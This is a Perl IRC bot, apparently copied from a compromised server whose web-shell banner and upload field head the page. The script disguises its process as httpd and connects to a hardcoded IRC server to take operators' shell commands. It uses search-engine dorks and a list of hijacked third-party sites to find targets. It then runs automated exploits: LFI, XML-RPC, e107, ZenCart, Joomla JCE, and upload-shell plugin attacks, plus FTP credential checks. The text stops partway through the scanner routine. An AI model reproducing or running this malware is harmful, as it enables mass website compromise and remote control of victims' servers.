|
Server : Apache/2.2.2 (Fedora) System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686 User : apache ( 48) PHP Version : 5.2.9 Disable Function : NONE Directory : /var/www/html/pathumthani_integration/pathumthani_drug/ |
Upload File : |
#!/usr/bin/perl
use HTTP::Request;
use HTTP::Request::Common;
use HTTP::Request::Common qw(POST);
use LWP::Simple;
use LWP 5.64;
use LWP::UserAgent;
use Socket;
use IO::Socket;
use IO::Socket::INET;
use IO::Select;
use MIME::Base64;
use URI::Escape;
use Digest::MD5 qw(md5_hex);
my $datetime = localtime;
my $number = int(rand(100));
my $fakeproc = "/usr/sbin/httpd";
my $ircserver = "112.166.211.22";
my $ircport = "9000";
my $nickname = "jCe".$number."";
my $ident = "$$";
my $channel = "#=terminal";
my $chanxxx = "#=terminal";
my $admin = "junaedy";
my $admin2 = "junaedy";
my $admin3 = "janet";
my $fullname = "8,1[4!9]4[CimoT]";
my $rawmsg = $ARGV[4];
my $msgraw = $ARGV[5];
my $nob0dy = "8,1[4!9]4[CimoT]";
my $lfilogo = "8,1[4!9]4Lfi 4<9=4> ";
my $xmllogo = "8,1[4!9]4Xml 4<9=4> ";
my $e107logo = "8,1[4!9]4E107 4<9=4> ";
my $zenlogo = "8,1[4!9]4ZenCart 4<9=4> ";
my $jcelogo = "9,1[14|9]4 Un0Eal 14JcE 9<14=9> ";
my $rcilogo = "8,1[4!9]4RcI 4<9=4> ";
my $ffmlogo = "8,1[4!9]4FFM 4<9=4> ";
my $cgmlogo = "8,1[4!9]4CGM 4<9=4> ";
my $zerologo = "8,1[4!9]4ZboarD 4<9=4> ";
my $carilogo = "8,1[4!9]4Find 4<9=4> ";
my $lficmd = "!lfi".$number."";
my $xmlcmd = "!xml".$number."";
my $e107cmd = "!e107".$number."";
my $zencmd = "!zen".$number."";
my $jcecmd = "!jce".$number."";
my $rcicmd = "!rci".$number."";
my $ffmcmd = "!ffm".$number."";
my $cgmcmd = "!cgm".$number."";
my $zerocmd = "!zero".$number."";
my $cmdlfi = "!cmdlfi".$number."";
my $cmdxml = "!cmdxml".$number."";
my $ftpcmd = "!ftp".$number."";
my $botxx = "http://www.hanhaho.com/bbs/data/__zbSessionTMP/._zbSessionID/koplok/back.jpg";
my $timot = 10;
my $silentmode = 1;
my $uagent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6";
my $lfdtest = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000";
my $jpath = "?____pgfa=http%253A%252F%252Fwww.google.com%252Fsearch?q=";
my $jackae = "http://abctextiles.com/auctionebay/lowereatontrip/pages/pagefilter.php".$jpath; #info.php
my $jackar = "http://upskin.co.kr/upFolder/upFile/jack.php".$jpath;
my $jackat = "http://abctextiles.com/auctionebay/lowereatontrip/pages/pagefilter.php".$jpath;
my $jackau = "http://www.cadei.com.mx/cli/update_imgcrop.php".$jpath; #http://viewwebinars.com/wp-includes/errors.php".$jpath;
my $jackbr = "http://www.tiltak.org/administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/error.php".$jpath;
my $jackca = "http://www.strengthnutrition.com/libraries/phputf8/utils/pagefilter.php".$jpath;
my $jackcl = "http://www.linuxcompany.nl/modules/mod_login/error.php".$jpath;
my $jackcn = "http://www.kirkjugardur.is/utka/plugins/search/pagefilter.php".$jpath;
my $jackcom = "http://www.strengthnutrition.com/libraries/phputf8/utils/pagefilter.php".$jpath;
my $jackcz = "http://www.tiltak.org/administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/error.php".$jpath;
my $jackde = "http://www.kleinsatelliten.de/modules/mod_login/tmpl/error.php".$jpath;
my $jackdk = "http://www.squee.com.br/checkin/modules/mod_login/error.php".$jpath;
my $jackes = "http://www.strengthnutrition.com/libraries/phputf8/utils/pagefilter.php".$jpath;
my $jackeu = "http://www.motoristabrasileiro.com.br/error.php".$jpath; #http://liftoffconsulting.ca/wp-includes/errors.php".$jpath;
my $jackfr = "http://www.linuxcompany.nl/modules/mod_login/error.php".$jpath;
my $jackhu = "http://attentionwizard.com/cache-old/error.php".$jpath;
my $jackid = "http://www.pazelli.com.br/error.php".$jpath;
my $jackil = "http://www.strengthnutrition.com/libraries/phputf8/utils/pagefilter.php".$jpath;
my $jackin = "http://www.photonet.hu/magazin/modules/mod_login/error.php".$jpath;
my $jackinfo = "http://www.strengthnutrition.com/libraries/phputf8/utils/pagefilter.php".$jpath;
my $jackir = "http://www.fleerde.nl/woning/error.php".$jpath;
my $jackit = "http://zywiol.208.pl/zywiol/error.php".$jpath;
my $jackjp = "http://www.strengthnutrition.com/libraries/phputf8/utils/pagefilter.php".$jpath;
my $jackkr = "http://www.thai-orchidea.cz/modules/mod_login/error.php".$jpath;
my $jackmx = "http://pierrelavoz.com//administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/error.php".$jpath;
my $jackmy = "http://www.strengthnutrition.com/libraries/phputf8/utils/pagefilter.php".$jpath;
my $jacknet = "http://www.mgatelecom.com.br/site/modules/mod_login/error.php".$jpath;
my $jacknl = "http://www.squee.com.br/checkin/modules/mod_login/error.php".$jpath;
my $jackorg = "http://hftpgoldcoast.org//administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/error.php".$jpath;
my $jackph = "http://iicm.ac.in/portal/modules/mod_login/error.php".$jpath;
my $jackpl = "http://www.strengthnutrition.com/libraries/phputf8/utils/pagefilter.php".$jpath;
my $jackro = "http://www.motoristabrasileiro.com.br/error.php".$jpath;
my $jackru = "http://www.strengthnutrition.com/libraries/phputf8/utils/pagefilter.php".$jpath;
my $jackth = "http://www.thenrai.in/language/en-GB/error.php".$jpath;
my $jackua = "http://atila.uenp.edu.br/uenp/www/prorh/modules/mod_login/error.php".$jpath;
my $jackuk = "http://liftoffconsulting.ca/wp-includes/errors.php".$jpath;
my $jackus = "http://www.strengthnutrition.com/libraries/phputf8/utils/pagefilter.php".$jpath;
my $jacksi = "http://beta.usc.edu.ph/modules/mod_login/error.php".$jpath;
my $jackbe = "http://attentionwizard.com/cache-old/error.php".$jpath;
my $jackbiz = "http://www.pazelli.com.br/error.php".$jpath;
my $jacktn = "http://medtechospitalar.com.br/site/error.php".$jpath;
my $jacktr = "http://www.convex-network.ro/modules/mod_login/error.php".$jpath;
my $jackmk = "http://www.werkcontrol.com.br/tmp/error.php".$jpath;
my $jackvn = "http://www.strengthnutrition.com/libraries/phputf8/utils/pagefilter.php".$jpath;
my $jackal = "http://www.tenerifeluxuryrentalvilla.co.uk/error.php".$jpath;
my $jacksg = "http://www.vetquimica.com.br/modules/mod_login/error.php".$jpath;
my $engine = "YaHoo,UoL,OnEt,CLusTy,SaPo,AoL,LyCos,HotBot,SeZNam,BigLobe,jackae,jackar,jackat,jackau,jackbr,jackca,jackcl,jackcn,jackcom,jackcz,jackde,jackdk,jackes,jackeu,jackfr,jackhu,jackid,jackil,jackin,jackinfo,jackit,jackit,jackjp,jackkr,jackmx,jackmy,jacknet,jacknl,jackorg,jackph,jackpl,jackro,jackru,jackru,jackth,jackua,jackuk,jackus,jacksi,jackbe,jackbiz,GooGLeCA,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeBE,GooGLeCH,GooGLeSE,GooGLeDK,GooGLeNO,GooGLeNZ,GooGLeIE,GooGLeBR,GooGLeAR,GooGLeCO,GooGLeCU,GooGLeCL,GooGLeMX,GooGLeAU,GooGLeRU,GooGLeAT,GooGLePL,GooGLeIL,GooGLeTR,GooGLeUA,GooGLeGR,GooGLeJP,GooGLeCN,GooGLeMY,GooGLeTH,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeTW,GooGLeZA,GooGLePT,YahOoCA,YahOoUK,YahOoDE,YahOoFR,YahOoES,YahOoIT,YahOoHK,YahOoID,YahOoIN,YahOoAU,YahOoMX,YahOoTW,YahOoBR,YahOoAR,YahOoNL,YahOoDK,YahOoPH,YahOoCL,YahOoRU,YahOoCH,YahOoCO,YahOoFI,YahOoRO,YahOoVE,YahOoAT,YahOoPL,YahOoKR,YahOoNZ,YahOoGR,YahOoPE,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,AsKCA,AsKDE,AsKIT,AsKFR,AsKES,AsKRU,AsKNL,AsKUK,AsKBR,AsKPL,AsKAU,AsKAT,AsKJP,AsKSE,AsKMX,AsKNO,AsKDK";
my @jpaths = ('/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart',
'/administrator/components/com_acymailing/inc/openflash',
'/administrator/components/com_jnewsletter/includes/openflashchart',
'/administrator/components/com_jinc/classes/graphics',
'/administrator/components/com_maianmedia/utilities/charts',
'/administrator/components/com_jnews/includes/openflashchart');
my $jvuln = "/php-ofc-library/ofc_upload_image.php";
my $jshell = "/tmp-upload-images/lobex21.php";
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
#chdir("/");
$ircserver = "$ARGV[0]" if $ARGV[0];
$ircport = "$ARGV[1]" if $ARGV[1];
$nickname = "$ARGV[2]" if $ARGV[2];
$channel = '#'."$ARGV[3]" if $ARGV[3];
$0 = "$fakeproc"."\0" x 16;
my $pid = fork;
exit if $pid;
die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_client = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
sub connector {
my $mynick = $_[0];
my $ircserver_con = $_[1];
my $ircport_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_client->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
$irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
nick("$mynick");
sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
sleep(1);}}
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($mynick)) {
$mynick = $4;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
}
}
elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick($mynick.int(rand(5)));
}
elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$mynick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
sendraw("MODE $mynick +Bx");
sendraw("NS id qwe123");
sleep(3);
sendraw("JOIN $channel correct");
sendraw("JOIN $chanxxx mejen");
sleep(1);
sendraw("PRIVMSG $channel :8,1[4!9]6 + Powered by CimoT");
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
select(undef, undef, undef, 0.01);
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_client->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$mynick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $ircmsg, 4096);
if ($nread == 0) {
$sel_client->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $ircmsg);
$ircmsg =~ s/\r\n$//;
if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
if ($path eq $mynick) {
if ($msg =~ /^PING (.*)/) {
sendraw("NOTICE $nick :PING $1");
}
if ($msg =~ /^VERSION/) {
sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey");
}
if ($msg =~ /^TIME/) {
sendraw("NOTICE $nick :TIME ".$datetime."");
}
if (&isAdmin($nick) && $msg eq "!die") {
&shell("$path","kill -9 $$");
}
if (&isAdmin($nick) && $msg eq "!killall") {
&shell("$path","killall -9 perl");
}
if (&isAdmin($nick) && $msg eq "!reset") {
sendraw("QUIT :Restarting...");
}
if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
sendraw("JOIN #".$1);
}
if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
sendraw("PART #".$1);
}
if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
sendraw("NICK ".$1);
}
if (&isAdmin($nick) && $msg =~ /^!pid/) {
sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
}
if (&isAdmin($nick) && $msg !~ /^!/) {
&shell("$nick","$msg");
}
if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {
sendraw("$rawmsg $msgraw ".$1);
}
if (&isAdmin($nick) && $msg =~ /^!say (.+)/) {
sendraw("PRIVMSG $rawmsg ".$1);
}
if (&isAdmin($nick) && $msg =~ /^!act (.+)/) {
sendraw("PRIVMSG $rawmsg :ACTION ".$1."");
}
if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) {
$newtimot = $1;
$timot = $newtimot;
&msg("$admin","8,1 Get Content TimeOut change to4 $timot ");
}
if (&isAdmin($nick) && $msg =~ /^!chxchan\s+(.+) -d/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
$newchan = $1;
$chanxxx = $newchan;
&msg("$admin","8,1 xChan change to5 $chanxxx ");
}}}
}
else {
if (&isAdmin($nick) && $msg eq "!die") {
&shell("$path","kill -9 $$");
}
if (&isAdmin($nick) && $msg eq "!killall") {
&shell("$path","killall -9 perl");
}
if (&isAdmin($nick) && $msg eq "!reset") {
sendraw("QUIT :Restarting...");
}
if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
sendraw("JOIN #".$1);
}
if (&isAdmin($nick) && $msg eq "!part") {
sendraw("PART $path");
}
if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
sendraw("PART #".$1);
}
if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
&shell("$path","$1");
}
if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
&shell("$path","$1");
}
if (&isAdmin($nick) && $msg =~ /^!silent\s+(.*) -d/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
$smod = $1;
if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; }
elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; }
&msg("$path","8,1[4!9]Silent Mode4 $silentstat !!!!");
}}}
if ($msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){
my $url = $1.$lfdtest;
my $cmd = $2;
&cmdlfi($url,$cmd,$path);
}
if ($msg=~ /^$cmdxml\s+(.*?)\s+(.*)/){
my $url = $1;
my $cmd = $2;
&cmdxml($url,$cmd,$path);
}
if ($msg=~ /^$cmde107\s+(.*?)\s+(.*)/){
my $url = $1;
my $cmd = $2;
&cmde107($url,$cmd,$path);
}
##################################################################### HELP COMMAND
if ($msg=~ /^!help/) {
my $helplogo = "8,1[4!9]4Help 4<9=4> ";
&msg("$path","$helplogo9LFI Vuln Scan:4 $lficmd [bug] [dork] ");
&msg("$path","$helplogo9XML Vuln Scan:4 $xmlcmd [bug] [dork] ");
&msg("$path","$helplogo9e107 Vuln Scan:4 $e107cmd [dork] ");
&msg("$path","$helplogo9ZenCart Vuln Scan:4 $zencmd [dork] ");
&msg("$path","$helplogo9Joomla CE Vuln Scan:4 $jcecmd [dork] ");
&msg("$path","$helplogo9Joomla Exploit:4 $rcicmd [dork] ");
}
if (&isAdmin($nick) && $msg =~ /^!pid/) {
&msg("$nick","6Fake Process/PID : $fakeproc - $$");
}
##################################################################### SCAN
if ($msg =~ /!cari\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my $find = $1;
&msg($path,"$carilogo9 Searching 4$find ");
&cari($path,$find);
} exit; }
}
if ($msg =~ /^$lficmd\s+(.+?)\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ($1,$2);
&msg("$chanxxx","8,1[4!9]4Lapor 4<9=4> 9$nick 4lagi scan LFI di 4$path ");
&msg("$path","$lfilogo9Dork 4<9=4>4 $dork ");
&msg("$path","$lfilogo9Bugz 4<9=4>4 $bug ");
&msg("$path","$lfilogo9Search Engine 4<9=4>4 Loading ");
&se_start($path,$bug,$nick,$dork,$engine,1);
}
}
}
if ($msg =~ /^$xmlcmd\s+(.+?)\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ($1,$2);
&msg("$chanxxx","8,1[4!9]4Lapor 4<9=4> 9$nick 4lagi scan XML di 4$path ");
&msg("$path","$xmllogo9Dork 4<9=4>4 $dork ");
&msg("$path","$xmllogo9Bugz 4<9=4>4 $bug ");
&msg("$path","$xmllogo9Search Engine 4<9=4>4 Loading ");
&se_start($path,$bug,$nick,$dork,$engine,2);
}
}
}
if ($msg =~ /^$zerocmd\s+(.+?)\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ($1,$2);
&msg("$chanxxx","8,1[4!9]4Lapor 4<9=4> 9$nick 4lagi scan zeroboard di 4$path ");
&msg("$path","$zerologo9Dork 4<9=4>4 $dork ");
&msg("$path","$zerologo9Bugz 4<9=4>4 $bug ");
&msg("$path","$zerologo9Search Engine 4<9=4>4 Loading ");
&se_start($path,$bug,$nick,$dork,$engine,9);
}
}
}
if ($msg =~ /^$e107cmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
if (&isFound($thumbid,"GIF89")) {
my ($bug,$dork) = ("contact.php",$1);
&msg("$chanxxx","8,1[4!9]4Lapor 4<9=4> 9$nick 4lagi scan E107 di 4$path ");
&msg("$path","$e107logo9Dork 4<9=4>4 $dork ");
&msg("$path","$e107logo9Search Engine 4<9=4>4 Loading ");
&se_start($path,$bug,$nick,$dork,$engine,3);
} else {
&msg("$path","8,1[4!9]Injector 4<9=4>4 Lost!!! ");
}
}
}
}
if ($msg =~ /^$zencmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("admin/sqlpatch.php/password_forgotten.php?action=execute",$1);
&msg("$chanxxx","8,1[4!9]4Lapor 4<9=4> 9$nick 4lagi scan ZenCart di 4$path ");
&msg("$path","$zenlogo9Dork 4<9=4>4 $dork ");
&msg("$path","$zenlogo9Search Engine 4<9=4>4 Loading ");
&se_start($path,$bug,$nick,$dork,$engine,4);
}
}
}
if ($msg =~ /^$jcecmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","$jcelogo9Denied $nick, 4Dork Already Scanned "); exit;
} else {
&msg("$chanxxx","8,1[4!9]4Lapor 4<9=4> 9$nick 4lagi scan JcE di 4$path ");
&sendraw("mode $path +m");
&msg("$path","$jcelogo9Dork 4<9=4>4 $dork ");
&msg("$path","$jcelogo9Search Engine 4<9=4>4 Loading ");
&write_dorks($dork);
&se_start($path,$bug,$nick,$dork,$engine,5);
}
}
}
}
if ($msg =~ /^$ffmcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("wp-content/plugins/front-file-manager/upload.php",$1);
&msg("$chanxxx","8,1[4!9]4Lapor 4<9=4> 9$nick 4lagi scan FFM di 4$path ");
&msg("$path","$ffmlogo9Dork 4<9=4>4 $dork ");
&msg("$path","$ffmlogo9Search Engine 4<9=4>4 Loading ");
&se_start($path,$bug,$nick,$dork,$engine,6);
}
}
}
if ($msg =~ /^$rcicmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","$rcilogo9Denied $nick, 4Dork Already Scanned "); exit;
} else {
&msg("$chanxxx","8,1[4!9]4Lapor 4<9=4> 9$nick 4lagi scan RcI di 4$path ");
&sendraw("mode $path +m");
&msg("$path","$rcilogo9Dork 4<9=4>4 $dork ");
&msg("$path","$rcilogo9Search Engine 4<9=4>4 Loading ");
&se_start($path,$bug,$nick,$dork,$engine,7);
&write_dorks($dork);
}
}
}
}
if ($msg =~ /^$cgmcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("wp-content/plugins/complete-gallery-manager/frames/upload-images.php",$1);
&msg("$chanxxx","8,1[4!9]4Lapor 4<9=4> 9$nick 4lagi scan CGM di 4$path ");
&msg("$path","$cgmlogo9Dork 4<9=4>4 $dork ");
&msg("$path","$cgmlogo9Search Engine 4<9=4>4 Loading ");
&se_start($path,$bug,$nick,$dork,$engine,8);
}
}
}
if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) {
my $url = $_[0];
my $host = $_[1];
my $user = $_[2];
my $pass = $_[3];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) { exit; } else {
my ($host,$user,$pass) = ($1,$2,$3);
&msg("$path","8,1[4!9]FTP 4<9=4>4 Checking $host | $user:$pass");
my $success = 1;
use Net::FTP;
my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
$success = 0 if $ftp->login($user,$pass);
$ftp->quit;
if ($success == 0) {
¬ice("$nick","4,1 [9FTP4] [ 9http://".$host." 4] [".$user.":".$pass."4] 9Success ");
} else {
¬ice("$nick","4,1 [9FTP4] [ 9http://".$host." 4] [".$user.":".$pass."4] 4Denied ");
}
}
}
}
}
}
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line = $line_temp.$line if ($line_temp);
$line_temp = '';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}
##################################################################################
sub lobex() {
my $dork = $_[0];
my @targets;
for (my $st=0; $st<=1000 ; $st+=100){
my $engine = "http://www.google.com/search?q=".uri_escape($dork)."&num=100&start=".$st;
my $browser = &search_engine_query($engine);
while ($browser =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
my $target = $1;
if ($target !~ /google|forum|stackoverflow|php\.net/) {
my @sort = split(/\.php/,$target);
push (@targets,$sort[0]);
}
}
}
return @targets;
}
sub cari() {
my $chan = $_[0];
my $dork = $_[1];
my $count = 0;
my @kotor = &lobex($dork);
my @target = &clean(@kotor);
my $num = scalar(@target); &msg($chan,"$carilogo9 Total 4[4$num4]9 sites");
if ($num > 0) {
foreach my $site(@target) {
$count++;
if ($count == $num-1) {
&msg("$chan","$carilogo9Finished 4for 9$dork ");
}
my $test = "http://".$site.".php?src=".$thumbshell;
if (my $pid = fork) { waitpid($pid, 0); } else {
if (fork) { exit; } else {
my $coba = &get_content($test);
if ($coba =~ /Unable to open image/) {
&msg($chan,"$carilogo9 VulN 4-> 4 http://".$site.".php ");
}
} exit;
}
}
}
}
sub type() {
my ($chan,$bug,$nick,$dork,$engine,$type) = @_;
if ($type == 1){$type=&lfi_exploit($chan,$bug,$nick,$dork,$engine);}
elsif ($type == 2){$type=&xml_exploit($chan,$bug,$nick,$dork,$engine);}
elsif ($type == 3){$type=&e107_exploit($chan,$bug,$nick,$dork,$engine);}
elsif ($type == 4){$type=&zen_exploit($chan,$bug,$nick,$dork,$engine);}
elsif ($type == 5){$type=&jce_exploit($chan,$bug,$nick,$dork,$engine);}
elsif ($type == 6){$type=&ffm_exploit($chan,$bug,$nick,$dork,$engine);}
elsif ($type == 7){$type=&rci_exploit($chan,$bug,$nick,$dork,$engine);}
elsif ($type == 8){$type=&cgm_exploit($chan,$bug,$nick,$dork,$engine);}
elsif ($type == 9){$type=&zero_exploit($chan,$bug,$nick,$dork,$engine);}
}
##################################################################################
sub se_start() {
my ($chan,$bug,$nick,$dork,$engine,$type) = @_;
if ($engine =~ /jackae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKAE",$type); } exit; } }
if ($engine =~ /jackar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKAR",$type); } exit; } }
if ($engine =~ /jackat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKAT",$type); } exit; } }
if ($engine =~ /jackau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKAU",$type); } exit; } }
if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKBR",$type); } exit; } }
if ($engine =~ /jackca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKCA",$type); } exit; } }
if ($engine =~ /jackcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKCL",$type); } exit; } }
if ($engine =~ /jackcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKCN",$type); } exit; } }
if ($engine =~ /jackcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKCoM",$type); } exit; } }
if ($engine =~ /jackcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKCZ",$type); } exit; } }
if ($engine =~ /jackde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKDE",$type); } exit; } }
if ($engine =~ /jackdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKDK",$type); } exit; } }
if ($engine =~ /jackes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKES",$type); } exit; } }
if ($engine =~ /jackeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKEU",$type); } exit; } }
if ($engine =~ /jackfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKFR",$type); } exit; } }
if ($engine =~ /jackhu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKHU",$type); } exit; } }
if ($engine =~ /jackid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKID",$type); } exit; } }
if ($engine =~ /jackil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKIL",$type); } exit; } }
if ($engine =~ /jackin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKIN",$type); } exit; } }
if ($engine =~ /jackinfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKInfO",$type); } exit; } }
if ($engine =~ /jackir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKIR",$type); } exit; } }
if ($engine =~ /jackit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKIT",$type); } exit; } }
if ($engine =~ /jackjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKJP",$type); } exit; } }
if ($engine =~ /jackkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKKR",$type); } exit; } }
if ($engine =~ /jackmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKMX",$type); } exit; } }
if ($engine =~ /jackmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKMY",$type); } exit; } }
